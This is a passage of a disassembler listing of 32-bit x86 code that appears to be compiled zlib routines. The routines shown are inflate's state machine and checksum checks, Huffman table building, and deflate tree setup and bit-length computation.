[ebp+var_C] mov [edx], cl jnz short loc_4111E8 cmp dword ptr [esi+40h], 0 jnz loc_411331 jmp short loc_41121C ; --------------------------------------------------------------------------- loc_411204: ; CODE XREF: sub_41025B:loc_4102C9j ; DATA XREF: .text:004114BFo cmp [ebp+var_14], 0 jz loc_41137F mov ecx, [ebp+var_1C] mov al, [esi+40h] inc [ebp+var_1C] dec [ebp+var_14] mov [ecx], al loc_41121C: ; CODE XREF: sub_41025B+FA7j mov dword ptr [esi], 12h jmp loc_411331 ; --------------------------------------------------------------------------- loc_411227: ; CODE XREF: sub_41025B:loc_4102C9j ; DATA XREF: .text:004114C3o cmp dword ptr [esi+8], 0 jz loc_4112DE cmp edi, 20h jnb short loc_411260 loc_411236: ; CODE XREF: sub_41025B+1000j cmp [ebp+var_8], 0 jz loc_41137F mov eax, [ebp+var_4] movzx eax, byte ptr [eax] dec [ebp+var_8] mov ecx, edi shl eax, cl add edi, 8 add ebx, eax inc [ebp+var_4] cmp edi, 20h mov [ebp+var_10], ebx jb short loc_411236 mov edx, [ebp+arg_0] loc_411260: ; CODE XREF: sub_41025B+FD9j mov eax, [ebp+var_20] sub eax, [ebp+var_14] add [edx+14h], eax add [esi+1Ch], eax test eax, eax mov [ebp+var_20], eax jz short loc_41129E push eax mov eax, [ebp+var_1C] sub eax, [ebp+var_20] cmp dword ptr [esi+10h], 0 push eax push dword ptr [esi+18h] jz short loc_41128B call sub_40E5EB jmp short loc_411290 ; --------------------------------------------------------------------------- loc_41128B: ; CODE XREF: sub_41025B+1027j call sub_40E0E6 loc_411290: ; CODE XREF: sub_41025B+102Ej mov ecx, [ebp+arg_0] mov [esi+18h], eax add esp, 0Ch mov [ecx+30h], eax mov edx, ecx loc_41129E: ; CODE XREF: sub_41025B+1016j cmp dword ptr [esi+10h], 0 mov eax, [ebp+var_14] mov [ebp+var_20], eax mov eax, ebx jnz short loc_4112C9 and eax, 0FF00h mov ecx, ebx shl ecx, 10h add eax, ecx xor ecx, ecx mov ch, byte ptr [ebp+var_10+2] shl eax, 8 add eax, ecx mov ecx, ebx shr ecx, 18h add eax, ecx loc_4112C9: ; CODE XREF: sub_41025B+104Fj cmp eax, [esi+18h] jz short loc_4112D7 mov dword ptr [edx+18h], offset aIncorrectDataC ; "incorrect data check" jmp short loc_41132B ; --------------------------------------------------------------------------- loc_4112D7: ; CODE XREF: sub_41025B+1071j xor ebx, ebx mov [ebp+var_10], ebx xor edi, edi loc_4112DE: ; CODE XREF: sub_41025B+FD0j mov dword ptr [esi], 19h loc_4112E4: ; CODE XREF: sub_41025B:loc_4102C9j ; DATA XREF: .text:004114C7o cmp dword ptr [esi+8], 0 jz short loc_411369 cmp dword ptr [esi+10h], 0 jz short loc_411369 cmp edi, 20h jnb short loc_41131F loc_4112F5: ; CODE XREF: sub_41025B+10BFj cmp [ebp+var_8], 0 jz loc_41137F mov eax, [ebp+var_4] movzx eax, byte ptr [eax] dec [ebp+var_8] mov ecx, edi shl eax, cl add edi, 8 add ebx, eax inc [ebp+var_4] cmp edi, 20h mov [ebp+var_10], ebx jb short loc_4112F5 mov edx, [ebp+arg_0] loc_41131F: ; CODE XREF: sub_41025B+1098j cmp ebx, [esi+1Ch] jz short loc_411365 mov dword ptr [edx+18h], offset aIncorrectLengt ; "incorrect length check" loc_41132B: ; CODE XREF: sub_41025B+136j ; sub_41025B+15Bj ... mov dword ptr [esi], 1Bh loc_411331: ; CODE XREF: sub_41025B+82j ; sub_41025B+EEj ... mov eax, [esi] cmp eax, 1Ch jbe loc_4102C6 jmp loc_4102BE ; --------------------------------------------------------------------------- loc_411341: ; CODE XREF: sub_41025B+66Aj mov eax, [ebp+var_1C] mov [edx+0Ch], eax mov eax, [ebp+var_14] mov [edx+10h], eax mov eax, [ebp+var_4] mov [edx], eax mov eax, [ebp+var_8] mov [edx+4], eax mov [esi+38h], ebx mov [esi+3Ch], edi push 2 jmp loc_4102C0 ; --------------------------------------------------------------------------- loc_411365: ; CODE XREF: sub_41025B+10C7j xor ebx, ebx xor edi, edi loc_411369: ; CODE XREF: sub_41025B+108Dj ; sub_41025B+1093j mov dword ptr [esi], 1Ah loc_41136F: ; CODE XREF: sub_41025B:loc_4102C9j ; DATA XREF: .text:004114CBo mov [ebp+var_24], 1 jmp short loc_41137F ; --------------------------------------------------------------------------- loc_411378: ; CODE XREF: sub_41025B:loc_4102C9j ; DATA XREF: .text:004114CFo mov [ebp+var_24], 0FFFFFFFDh loc_41137F: ; CODE XREF: sub_41025B+8Bj ; sub_41025B+1ADj ... mov eax, [ebp+arg_0] mov ecx, [ebp+var_1C] mov [eax+0Ch], ecx mov ecx, [ebp+var_14] mov [eax+10h], ecx mov ecx, [ebp+var_4] mov [eax], ecx mov ecx, [ebp+var_8] mov [eax+4], ecx cmp dword ptr [esi+28h], 0 mov [esi+38h], ebx mov [esi+3Ch], edi jnz short loc_4113B5 cmp dword ptr [esi], 18h jge short loc_4113D1 mov eax, [ebp+var_20] mov ecx, [ebp+arg_0] cmp eax, [ecx+10h] jz short loc_4113D1 loc_4113B5: ; CODE XREF: sub_41025B+1148j mov eax, [ebp+var_20] mov edi, [ebp+arg_0] call sub_410183 test eax, eax jz short loc_4113D1 mov dword ptr [esi], 1Ch loc_4113CA: ; CODE XREF: sub_41025B:loc_4102C9j ; DATA XREF: .text:004114D3o push 0FFFFFFFCh jmp loc_4102C0 ; --------------------------------------------------------------------------- loc_4113D1: ; CODE XREF: sub_41025B+114Dj ; sub_41025B+1158j ... mov edi, [ebp+arg_0] mov eax, [ebp+var_2C] sub eax, [edi+4] mov ebx, [ebp+var_20] sub ebx, [edi+10h] add [edi+8], eax add [edi+14h], ebx add [esi+1Ch], ebx cmp dword ptr [esi+8], 0 mov [ebp+var_2C], eax jz short loc_41141E test ebx, ebx jz short loc_41141E mov eax, [edi+0Ch] push ebx sub eax, ebx cmp dword ptr [esi+10h], 0 push eax push dword ptr [esi+18h] jz short loc_41140D call sub_40E5EB jmp short loc_411412 ; --------------------------------------------------------------------------- loc_41140D: ; CODE XREF: sub_41025B+11A9j call sub_40E0E6 loc_411412: ; CODE XREF: sub_41025B+11B0j mov [esi+18h], eax mov [edi+30h], eax mov eax, [ebp+var_2C] add esp, 0Ch loc_41141E: ; CODE XREF: sub_41025B+1195j ; sub_41025B+1199j cmp dword ptr [esi], 0Bh jnz short loc_41142A mov ecx, 80h jmp short loc_41142C ; --------------------------------------------------------------------------- loc_41142A: ; CODE XREF: sub_41025B+11C6j xor ecx, ecx loc_41142C: ; CODE XREF: sub_41025B+11CDj mov edx, [esi+4] neg edx sbb edx, edx and edx, 40h add edx, ecx add edx, [esi+3Ch] test eax, eax mov [edi+2Ch], edx jnz short loc_411446 test ebx, ebx jz short loc_41144C loc_411446: ; CODE XREF: sub_41025B+11E5j cmp [ebp+arg_4], 4 jnz short loc_411459 loc_41144C: ; CODE XREF: sub_41025B+11E9j cmp [ebp+var_24], 0 jnz short loc_411459 mov [ebp+var_24], 0FFFFFFFBh loc_411459: ; CODE XREF: sub_41025B+11EFj ; sub_41025B+11F5j mov eax, [ebp+var_24] jmp loc_4102C1 sub_41025B endp ; --------------------------------------------------------------------------- db 8Bh, 0FFh off_411463 dd offset loc_4102D0 ; DATA XREF: sub_41025B:loc_4102C9r dd offset loc_4103FF dd offset loc_410498 dd offset loc_410510 dd offset loc_41058E dd offset loc_410611 dd offset loc_4106AD dd offset loc_410747 dd offset loc_4107DD dd offset loc_410865 dd offset loc_4108C1 dd offset loc_4108E7 dd offset loc_4108F4 dd offset loc_4109A9 dd offset loc_410A12 dd offset loc_410A68 dd offset loc_410B31 dd offset loc_410DAD dd offset loc_410E18 dd offset loc_410FB6 dd offset loc_410FFC dd offset loc_411115 dd offset loc_41117C dd offset loc_411204 dd offset loc_411227 dd offset loc_4112E4 dd offset loc_41136F dd offset loc_411378 dd offset loc_4113CA ; =============== S U B R O U T I N E ======================================= sub_4114D7 proc near ; CODE XREF: sub_412FA4+59p ; sub_412FA4+81p arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] test esi, esi jz short loc_411510 mov eax, [esi+1Ch] test eax, eax jz short loc_411510 mov ecx, [esi+24h] test ecx, ecx jz short loc_411510 mov eax, [eax+34h] test eax, eax jz short loc_4114FD push eax push dword ptr [esi+28h] call ecx pop ecx pop ecx loc_4114FD: ; CODE XREF: sub_4114D7+1Cj push dword ptr [esi+1Ch] push dword ptr [esi+28h] call dword ptr [esi+24h] and dword ptr [esi+1Ch], 0 pop ecx pop ecx xor eax, eax pop esi retn ; --------------------------------------------------------------------------- loc_411510: ; CODE XREF: sub_4114D7+7j ; sub_4114D7+Ej ... push 0FFFFFFFEh pop eax pop esi retn sub_4114D7 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_411515 proc near ; CODE XREF: sub_41025B+922p ; sub_41025B+B20p ... var_7C = word ptr -7Ch var_7A = word ptr -7Ah var_5C = word ptr -5Ch var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch push ebp mov ebp, esp sub esp, 7Ch push ebx push esi push edi push 8 xor eax, eax pop ecx lea edi, [ebp+var_5C] rep stosd xor edx, edx xor ecx, ecx cmp [ebp+arg_8], edx jbe short loc_411545 loc_411531: ; CODE XREF: sub_411515+2Ej mov eax, [ebp+arg_4] movzx eax, word ptr [eax+ecx*2] lea eax, [ebp+eax*2+var_5C] inc word ptr [eax] inc ecx cmp ecx, [ebp+arg_8] jb short loc_411531 loc_411545: ; CODE XREF: sub_411515+1Aj mov esi, [ebp+arg_10] mov eax, [esi] push 0Fh pop ebx mov [ebp+var_C], eax mov [ebp+var_1C], ebx loc_411553: ; CODE XREF: sub_411515+4Cj cmp [ebp+ebx*2+var_5C], dx jnz short loc_411563 dec ebx cmp ebx, 1 mov [ebp+var_1C], ebx jnb short loc_411553 loc_411563: ; CODE XREF: sub_411515+43j cmp eax, ebx jbe short loc_41156A mov [ebp+var_C], ebx loc_41156A: ; CODE XREF: sub_411515+50j cmp ebx, edx jnz short loc_411599 mov ecx, [ebp+arg_C] mov word ptr [ebp+arg_8+2], dx mov edx, [ecx] mov byte ptr [ebp+arg_8], 40h mov byte ptr [ebp+arg_8+1], 1 mov eax, [ebp+arg_8] mov [edx], eax add dword ptr [ecx], 4 mov edx, [ecx] mov [edx], eax add dword ptr [ecx], 4 mov dword ptr [esi], 1 jmp loc_4118C2 ; --------------------------------------------------------------------------- loc_411599: ; CODE XREF: sub_411515+57j xor edi, edi inc edi mov eax, edi mov [ebp+var_18], edi loc_4115A1: ; CODE XREF: sub_411515+9Cj xor esi, esi cmp [ebp+eax*2+var_5C], si jnz short loc_4115B3 inc eax cmp eax, 0Fh mov [ebp+var_18], eax jbe short loc_4115A1 loc_4115B3: ; CODE XREF: sub_411515+93j cmp [ebp+var_C], eax jnb short loc_4115BB mov [ebp+var_C], eax loc_4115BB: ; CODE XREF: sub_411515+A1j mov edx, edi mov ecx, edi loc_4115BF: ; CODE XREF: sub_411515+B9j movzx eax, [ebp+ecx*2+var_5C] add edx, edx sub edx, eax js short loc_411649 inc ecx cmp ecx, 0Fh jbe short loc_4115BF cmp edx, esi jle short loc_4115DD cmp [ebp+arg_0], esi jz short loc_411649 cmp ebx, edi jnz short loc_411649 loc_4115DD: ; CODE XREF: sub_411515+BDj push 2 mov [ebp+var_7A], si pop ecx loc_4115E4: ; CODE XREF: sub_411515+E3j mov ax, [ebp+ecx+var_7C] add ax, [ebp+ecx+var_5C] inc ecx mov [ebp+ecx+var_7C+1], ax inc ecx cmp ecx, 1Eh jb short loc_4115E4 xor edx, edx cmp [ebp+arg_8], esi jbe short loc_41162B loc_411601: ; CODE XREF: sub_411515+114j mov eax, [ebp+arg_4] lea eax, [eax+edx*2] cmp [eax], si jz short loc_411625 movzx ecx, word ptr [eax] movzx ecx, [ebp+ecx*2+var_7C] mov ebx, [ebp+arg_14] mov [ebx+ecx*2], dx movzx ecx, word ptr [eax] lea ecx, [ebp+ecx*2+var_7C] inc word ptr [ecx] loc_411625: ; CODE XREF: sub_411515+F5j inc edx cmp edx, [ebp+arg_8] jb short loc_411601 loc_41162B: ; CODE XREF: sub_411515+EAj mov ecx, [ebp+arg_0] sub ecx, esi jz short loc_411673 dec ecx jz short loc_411651 or [ebp+var_14], 0FFFFFFFFh mov [ebp+var_28], offset dword_41F718 mov [ebp+var_24], offset dword_41F758 jmp short loc_411683 ; --------------------------------------------------------------------------- loc_411649: ; CODE XREF: sub_411515+B3j ; sub_411515+C2j ... or eax, 0FFFFFFFFh jmp loc_4118C4 ; --------------------------------------------------------------------------- loc_411651: ; CODE XREF: sub_411515+11Ej mov ecx, 202h mov edx, offset dword_41F698 sub edx, ecx mov [ebp+var_28], edx mov edx, offset dword_41F6D8 sub edx, ecx mov [ebp+var_24], edx mov [ebp+var_14], 100h jmp short loc_411683 ; --------------------------------------------------------------------------- loc_411673: ; CODE XREF: sub_411515+11Bj mov ecx, [ebp+arg_14] mov [ebp+var_24], ecx mov [ebp+var_28], ecx mov [ebp+var_14], 13h loc_411683: ; CODE XREF: sub_411515+132j ; sub_411515+15Cj mov ecx, [ebp+var_C] mov eax, [ebp+var_18] mov ebx, [ebp+arg_C] and [ebp+var_8], 0 or [ebp+var_30], 0FFFFFFFFh mov edx, edi shl edx, cl cmp [ebp+arg_0], edi mov [ebp+var_4], esi mov esi, [ebx] lea ecx, [edx-1] mov [ebp+var_2C], eax mov [ebp+var_34], edx mov [ebp+var_20], edx mov [ebp+var_38], ecx jnz short loc_4116C0 cmp edx, 5B0h jb short loc_4116C0 mov eax, edi jmp loc_4118C4 ; --------------------------------------------------------------------------- loc_4116C0: ; CODE XREF: sub_411515+19Aj ; sub_411515+1A2j mov ecx, [ebp+arg_14] mov [ebp+var_10], ecx loc_4116C6: ; CODE XREF: sub_411515+27Ej ; sub_411515+290j ... mov cl, al sub cl, byte ptr [ebp+var_8] mov byte ptr [ebp+arg_8+1], cl mov ecx, [ebp+var_10] movzx ecx, word ptr [ecx] movzx edx, cx cmp edx, [ebp+var_14] jge short loc_4116E2 mov byte ptr [ebp+arg_8], 0 jmp short loc_4116FC ; --------------------------------------------------------------------------- loc_4116E2: ; CODE XREF: sub_411515+1C5j jle short loc_411702 mov ecx, [ebp+var_10] movzx ecx, word ptr [ecx] mov edx, [ebp+var_24] add ecx, ecx mov dl, [ecx+edx] mov byte ptr [ebp+arg_8], dl mov edx, [ebp+var_28] mov cx, [ecx+edx] loc_4116FC: ; CODE XREF: sub_411515+1CBj mov word ptr [ebp+arg_8+2], cx jmp short loc_41170B ; --------------------------------------------------------------------------- loc_411702: ; CODE XREF: sub_411515:loc_4116E2j and word ptr [ebp+arg_8+2], 0 mov byte ptr [ebp+arg_8], 60h loc_41170B: ; CODE XREF: sub_411515+1EBj mov edi, [ebp+var_34] mov ecx, eax sub ecx, [ebp+var_8] mov eax, [ebp+var_4] xor edx, edx inc edx shl edx, cl mov ecx, [ebp+var_8] shr eax, cl mov [ebp+var_18], edi add eax, edi lea ecx, [esi+eax*4] loc_411728: ; CODE XREF: sub_411515+223j mov eax, edx shl eax, 2 sub ecx, eax mov eax, [ebp+arg_8] sub edi, edx test edi, edi mov [ecx], eax jnz short loc_411728 mov eax, [ebp+var_2C] xor edx, edx lea ecx, [eax-1] inc edx shl edx, cl mov ecx, [ebp+var_4] jmp short loc_41174C ; --------------------------------------------------------------------------- loc_41174A: ; CODE XREF: sub_411515+239j shr edx, 1 loc_41174C: ; CODE XREF: sub_411515+233j test edx, ecx jnz short loc_41174A test edx, edx jz short loc_411760 lea edi, [edx-1] and edi, ecx add edi, edx mov [ebp+var_4], edi jmp short loc_411764 ; --------------------------------------------------------------------------- loc_411760: ; CODE XREF: sub_411515+23Dj and [ebp+var_4], 0 loc_411764: ; CODE XREF: sub_411515+249j add [ebp+var_10], 2 lea ecx, [ebp+eax*2+var_5C] dec word ptr [ecx] movzx ecx, word ptr [ecx] test cx, cx jnz short loc_411790 cmp eax, [ebp+var_1C] jz loc_411842 mov eax, [ebp+var_10] movzx eax, word ptr [eax] mov ecx, [ebp+arg_4] movzx eax, word ptr [ecx+eax*2] mov [ebp+var_2C], eax loc_411790: ; CODE XREF: sub_411515+260j cmp eax, [ebp+var_C] jbe loc_4116C6 mov ecx, [ebp+var_38] and ecx, [ebp+var_4] cmp ecx, [ebp+var_30] mov [ebp+var_3C], ecx jz loc_4116C6 mov edi, [ebp+var_8] test edi, edi jnz short loc_4117B8 mov edi, [ebp+var_C] mov [ebp+var_8], edi loc_4117B8: ; CODE XREF: sub_411515+29Bj mov ecx, [ebp+var_18] lea esi, [esi+ecx*4] xor edx, edx mov ecx, eax sub ecx, edi inc edx add edi, ecx shl edx, cl cmp edi, [ebp+var_1C] jnb short loc_4117F6 mov [ebp+var_18], edi lea eax, [ebp+edi*2+var_5C] jmp short loc_4117DA ; --------------------------------------------------------------------------- loc_4117D7: ; CODE XREF: sub_411515+2DFj mov eax, [ebp+var_34] loc_4117DA: ; CODE XREF: sub_411515+2C0j movzx edi, word ptr [eax] sub edx, edi test edx, edx jle short loc_4117F6 inc ecx inc [ebp+var_18] inc eax inc eax mov [ebp+var_34], eax mov eax, [ebp+var_18] add edx, edx cmp eax, [ebp+var_1C] jb short loc_4117D7 loc_4117F6: ; CODE XREF: sub_411515+2B7j ; sub_411515+2CCj xor eax, eax inc eax mov edx, eax shl edx, cl add [ebp+var_20], edx cmp [ebp+arg_0], eax mov [ebp+var_34], edx jnz short loc_411815 cmp [ebp+var_20], 5B0h jnb loc_4118C4 loc_411815: ; CODE XREF: sub_411515+2F1j mov edx, [ebp+var_3C] mov eax, [ebx] mov [ebp+var_30], edx shl edx, 2 mov [edx+eax], cl mov eax, [ebx] mov cl, byte ptr [ebp+var_C] mov [edx+eax+1], cl mov ecx, [ebx] mov eax, esi sub eax, ecx sar eax, 2 mov [edx+ecx+2], ax mov eax, [ebp+var_2C] jmp loc_4116C6 ; --------------------------------------------------------------------------- loc_411842: ; CODE XREF: sub_411515+265j mov edi, [ebp+var_4] and word ptr [ebp+arg_8+2], 0 mov cl, al sub cl, byte ptr [ebp+var_8] test edi, edi mov byte ptr [ebp+arg_8], 40h mov byte ptr [ebp+arg_8+1], cl jz short loc_4118B2 jmp short loc_41185F ; --------------------------------------------------------------------------- loc_41185C: ; CODE XREF: sub_411515+39Bj mov edi, [ebp+var_4] loc_41185F: ; CODE XREF: sub_411515+345j cmp [ebp+var_8], 0 jz short loc_41187B mov ecx, [ebp+var_38] and ecx, edi cmp ecx, [ebp+var_30] jz short loc_41187B mov eax, [ebp+var_C] and [ebp+var_8], 0 mov esi, [ebx] mov byte ptr [ebp+arg_8+1], al loc_41187B: ; CODE XREF: sub_411515+34Ej ; sub_411515+358j mov ecx, [ebp+var_8] mov edx, edi shr edx, cl mov ecx, [ebp+arg_8] mov [esi+edx*4], ecx xor edx, edx lea ecx, [eax-1] inc edx shl edx, cl jmp short loc_411894 ; --------------------------------------------------------------------------- loc_411892: ; CODE XREF: sub_411515+381j shr edx, 1 loc_411894: ; CODE XREF: sub_411515+37Bj test edx, edi jnz short loc_411892 test edx, edx jz short loc_4118A8 lea ecx, [edx-1] and ecx, edi add ecx, edx mov [ebp+var_4], ecx jmp short loc_4118AC ; --------------------------------------------------------------------------- loc_4118A8: ; CODE XREF: sub_411515+385j and [ebp+var_4], 0 loc_4118AC: ; CODE XREF: sub_411515+391j cmp [ebp+var_4], 0 jnz short loc_41185C loc_4118B2: ; CODE XREF: sub_411515+343j mov eax, [ebp+var_20] mov ecx, [ebp+var_C] shl eax, 2 add [ebx], eax mov eax, [ebp+arg_10] mov [eax], ecx loc_4118C2: ; CODE XREF: sub_411515+7Fj xor eax, eax loc_4118C4: ; CODE XREF: sub_411515+137j ; sub_411515+1A6j ... pop edi pop esi pop ebx leave retn sub_411515 endp ; =============== S U B R O U T I N E ======================================= sub_4118C9 proc near ; CODE XREF: sub_412850+5Fj ; sub_412DBD+1D1p push esi lea ecx, [eax+94h] mov edx, 11Eh xor esi, esi loc_4118D7: ; CODE XREF: sub_4118C9+15j mov [ecx], si add ecx, 4 dec edx jnz short loc_4118D7 push 1Eh lea ecx, [eax+988h] pop edx loc_4118E9: ; CODE XREF: sub_4118C9+27j mov [ecx], si add ecx, 4 dec edx jnz short loc_4118E9 push 13h lea ecx, [eax+0A7Ch] pop edx loc_4118FB: ; CODE XREF: sub_4118C9+39j mov [ecx], si add ecx, 4 dec edx jnz short loc_4118FB mov [eax+16ACh], esi mov [eax+16A8h], esi mov [eax+16B0h], esi mov [eax+16A0h], esi mov word ptr [eax+494h], 1 pop esi retn sub_4118C9 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_411927 proc near ; CODE XREF: sub_412922+D7p ; sub_412922+10Dp ... var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx mov ecx, [ebp+arg_0] mov edx, [eax+ecx*4+0B5Ch] mov [ebp+var_4], edx mov edx, [eax+1450h] add ecx, ecx cmp ecx, edx jg loc_4119C8 push ebx push esi loc_41194A: ; CODE XREF: sub_411927+9Dj jge short loc_411981 mov esi, [eax+ecx*4+0B60h] mov edx, [eax+ecx*4+0B5Ch] movzx ebx, word ptr [edi+esi*4] movzx edx, word ptr [edi+edx*4] cmp bx, dx jb short loc_411980 jnz short loc_411981 mov dl, [esi+eax+1458h] mov esi, [eax+ecx*4+0B5Ch] cmp dl, [esi+eax+1458h] ja short loc_411981 loc_411980: ; CODE XREF: sub_411927+3Ej inc ecx loc_411981: ; CODE XREF: sub_411927:loc_41194Aj ; sub_411927+40j ... mov esi, [eax+ecx*4+0B5Ch] mov edx, [ebp+var_4] movzx edx, word ptr [edi+edx*4] movzx ebx, word ptr [edi+esi*4] cmp dx, bx jb short loc_4119C6 jnz short loc_4119AD mov edx, [ebp+var_4] mov dl, [edx+eax+1458h] cmp dl, [esi+eax+1458h] jbe short loc_4119C6 loc_4119AD: ; CODE XREF: sub_411927+71j mov edx, [ebp+arg_0] mov [eax+edx*4+0B5Ch], esi mov edx, [eax+1450h] mov [ebp+arg_0], ecx add ecx, ecx cmp ecx, edx jle short loc_41194A loc_4119C6: ; CODE XREF: sub_411927+6Fj ; sub_411927+84j pop esi pop ebx loc_4119C8: ; CODE XREF: sub_411927+1Bj mov ecx, [ebp+var_4] mov edx, [ebp+arg_0] mov [eax+edx*4+0B5Ch], ecx leave retn sub_411927 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4119D7 proc near ; CODE XREF: sub_412922+1CEp var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp sub esp, 28h mov ecx, [eax+4] and [ebp+var_4], 0 mov [ebp+var_20], ecx push ebx mov ebx, [eax] mov eax, [eax+8] mov ecx, [eax] mov [ebp+var_28], ecx mov ecx, [eax+4] mov [ebp+var_24], ecx mov ecx, [eax+8] mov eax, [eax+10h] push edi mov [ebp+var_14], ecx mov [ebp+var_8], eax xor eax, eax push 8 lea edi, [edx+0B3Ch] pop ecx rep stosd lea eax, [edx+1454h] mov ecx, [eax] mov ecx, [edx+ecx*4+0B5Ch] and word ptr [ebx+ecx*4+2], 0 mov eax, [eax] inc eax mov ecx, 23Dh cmp eax, ecx jge loc_411B90 push esi lea esi, [edx+eax*4+0B5Ch] sub ecx, eax mov [ebp+var_10], esi mov [ebp+var_1C], ecx add eax, ecx loc_411A49: ; CODE XREF: sub_4119D7+FBj mov ecx, [ebp+var_10] mov esi, [ecx] mov ecx, esi shl ecx, 2 mov [ebp+var_18], ecx movzx ecx, word ptr [ecx+ebx+2] movzx ecx, word ptr [ebx+ecx*4+2] inc ecx cmp ecx, [ebp+var_8] jle short loc_411A6C mov ecx, [ebp+var_8] inc [ebp+var_4] loc_411A6C: ; CODE XREF: sub_4119D7+8Dj cmp esi, [ebp+var_20] mov edi, [ebp+var_18] mov [edi+ebx+2], cx jg short loc_411ACB inc word ptr [edx+ecx*2+0B3Ch] and [ebp+var_C], 0 cmp esi, [ebp+var_14] jl short loc_411A96 sub esi, [ebp+var_14] mov edi, [ebp+var_24] mov esi, [edi+esi*4] mov [ebp+var_C], esi loc_411A96: ; CODE XREF: sub_4119D7+B1j mov edi, [ebp+var_18] movzx esi, word ptr [edi+ebx] movzx esi, si mov [ebp+var_18], esi mov esi, [ebp+var_C] add esi, ecx imul esi, [ebp+var_18] mov ecx, [ebp+var_28] add [edx+16A8h], esi test ecx, ecx jz short loc_411ACB movzx ecx, word ptr [edi+ecx+2] add ecx, [ebp+var_C] imul ecx, [ebp+var_18] add [edx+16ACh], ecx loc_411ACB: ; CODE XREF: sub_4119D7+A0j ; sub_4119D7+E0j add [ebp+var_10], 4 dec [ebp+var_1C] jnz loc_411A49 cmp [ebp+var_4], 0 jz loc_411B8F mov ecx, [ebp+var_8] lea esi, [edx+ecx*2+0B3Ch] loc_411AEC: ; CODE XREF: sub_4119D7+149j mov ecx, [ebp+var_8] dec ecx lea edi, [edx+ecx*2+0B3Ch] jmp short loc_411AFC ; --------------------------------------------------------------------------- loc_411AF9: ; CODE XREF: sub_4119D7+129j dec ecx dec edi dec edi loc_411AFC: ; CODE XREF: sub_4119D7+120j cmp word ptr [edi], 0 jz short loc_411AF9 dec word ptr [edx+ecx*2+0B3Ch] sub [ebp+var_4], 2 lea ecx, [edx+ecx*2+0B3Eh] add word ptr [ecx], 2 dec word ptr [esi] cmp [ebp+var_4], 0 jg short loc_411AEC mov ecx, [ebp+var_8] test ecx, ecx mov [ebp+var_4], ecx jz short loc_411B8F mov [ebp+var_C], esi loc_411B2F: ; CODE XREF: sub_4119D7+1B6j mov ecx, [ebp+var_C] movzx ecx, word ptr [ecx] test ecx, ecx mov [ebp+var_10], ecx jz short loc_411B82 lea esi, [edx+eax*4+0B5Ch] loc_411B43: ; CODE XREF: sub_4119D7+1A9j sub esi, 4 mov ecx, [esi] dec eax cmp ecx, [ebp+var_20] mov [ebp+var_28], esi jg short loc_411B7C lea ecx, [ebx+ecx*4] movzx esi, word ptr [ecx+2] cmp esi, [ebp+var_4] jz short loc_411B76 mov edi, [ebp+var_4] sub edi, esi movzx esi, word ptr [ecx] imul edi, esi mov si, word ptr [ebp+var_4] add [edx+16A8h], edi mov [ecx+2], si loc_411B76: ; CODE XREF: sub_4119D7+184j dec [ebp+var_10] mov esi, [ebp+var_28] loc_411B7C: ; CODE XREF: sub_4119D7+178j cmp [ebp+var_10], 0 jnz short loc_411B43 loc_411B82: ; CODE XREF: sub_4119D7+163j dec [ebp+var_4] sub [ebp+var_C], 2 cmp [ebp+var_4], 0 jnz short loc_411B2F loc_411B8F: ; CODE XREF: sub_4119D7+105j ; sub_4119D7+153j pop esi loc_411B90: ; CODE XREF: sub_4119D7+5Aj pop edi pop ebx leave retn sub_4119D7 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_411B94 proc near ; CODE XREF: sub_412B0A+10p ; sub_412B0A+22p var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx push ecx or [ebp+var_8], 0FFFFFFFFh push ebx push esi push edi push 7 mov esi, ecx movzx ecx, word ptr [eax+2] pop edx xor ebx, ebx test ecx, ecx push 4 pop edi jnz short loc_411BBA push 3 mov edx, 8Ah pop edi loc_411BBA: ; CODE XREF: sub_411B94+1Cj or word ptr [eax+esi*4+6], 0FFFFh test esi, esi jl loc_411C4B add eax, 6 mov [ebp+var_4], eax inc esi loc_411BD0: ; CODE XREF: sub_411B94+B5j mov eax, ecx mov ecx, [ebp+var_4] movzx ecx, word ptr [ecx] inc ebx cmp ebx, edx jge short loc_411BE1 cmp eax, ecx jz short loc_411C44 loc_411BE1: ; CODE XREF: sub_411B94+47j cmp ebx, edi mov edx, [ebp+arg_0] jge short loc_411BF4 lea edx, [edx+eax*4+0A7Ch] add [edx], bx jmp short loc_411C23 ; --------------------------------------------------------------------------- loc_411BF4: ; CODE XREF: sub_411B94+52j test eax, eax jz short loc_411C0E cmp eax, [ebp+var_8] jz short loc_411C05 inc word ptr [edx+eax*4+0A7Ch] loc_411C05: ; CODE XREF: sub_411B94+67j inc word ptr [edx+0ABCh] jmp short loc_411C23 ; --------------------------------------------------------------------------- loc_411C0E: ; CODE XREF: sub_411B94+62j cmp ebx, 0Ah jg short loc_411C1C inc word ptr [edx+0AC0h] jmp short loc_411C23 ; --------------------------------------------------------------------------- loc_411C1C: ; CODE XREF: sub_411B94+7Dj inc word ptr [edx+0AC4h] loc_411C23: ; CODE XREF: sub_411B94+5Ej ; sub_411B94+78j ... xor ebx, ebx test ecx, ecx mov [ebp+var_8], eax jnz short loc_411C35 mov edx, 8Ah loc_411C31: ; CODE XREF: sub_411B94+A8j push 3 jmp short loc_411C43 ; --------------------------------------------------------------------------- loc_411C35: ; CODE XREF: sub_411B94+96j cmp eax, ecx jnz short loc_411C3E push 6 pop edx jmp short loc_411C31 ; --------------------------------------------------------------------------- 